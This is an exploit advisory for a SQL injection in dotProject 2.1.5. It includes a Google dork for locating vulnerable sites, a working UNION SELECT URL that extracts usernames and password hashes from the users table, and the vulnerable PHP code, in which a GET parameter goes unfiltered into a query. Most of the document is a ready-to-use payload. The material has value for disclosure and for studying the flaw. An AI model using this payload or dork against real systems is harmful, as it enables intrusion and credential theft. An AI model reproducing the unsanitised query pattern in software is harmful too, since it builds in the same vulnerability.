dotProject 2.1.5 - SQL Injection Vulnerability

                                                # Exploit Title: dotProject 2.1.5 SQL Injection Vulnerability
# Google Dork: intitle:"dotproject"
# Date: 2011-12-09
# Author: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org> @AlligatorTeam
# Software Link: http://www.dotproject.net/
# Version: 2.1.5 (tested)
# Tested on: Debian GNU/Linux 5.0

---------------
PoC
---------------

URL:
http://www.site.com/dotproject/index.php?m=ticketsmith&a=view&ticket=-2union
all select
1,2,3,@@VERSION,5,USER(),7,8,9,10,11,12,13,DATABASE(),group_concat(user_username,0x3A,user_password,0xA),16
from dotp_users

---------------
Vulnerable code
---------------

modules/ticketsmith/view.php
...
11 $ticket = dPgetParam($_GET, 'ticket', '');
...
219 $ticket_info = query2hash("SELECT * FROM {$dbprefix}tickets WHERE ticket
= $ticket");
...

Functions:

includes/main_functions.php
...
283 function dPgetParam(&$arr, $name, $def=null) {
284   return defVal($arr[$name], $def);
285 }
...

modules/ticketsmith/common.inc.php
...
 50 /* get result in associative array */
 51 function query2hash ($query) {
 52
 53   $result = do_query($query);
 54   $row = @mysql_fetch_array($result);
 55   return($row);
 56
 57 }
...
 22 function do_query ($query) {
 23   $result = @mysql_query($query);
 24   if (!$result) {
 25     fatal_error("A database query error has
occurred!<br>".mysql_error());
 26   } else {
 27     return($result);
 28   }
 29
 30 }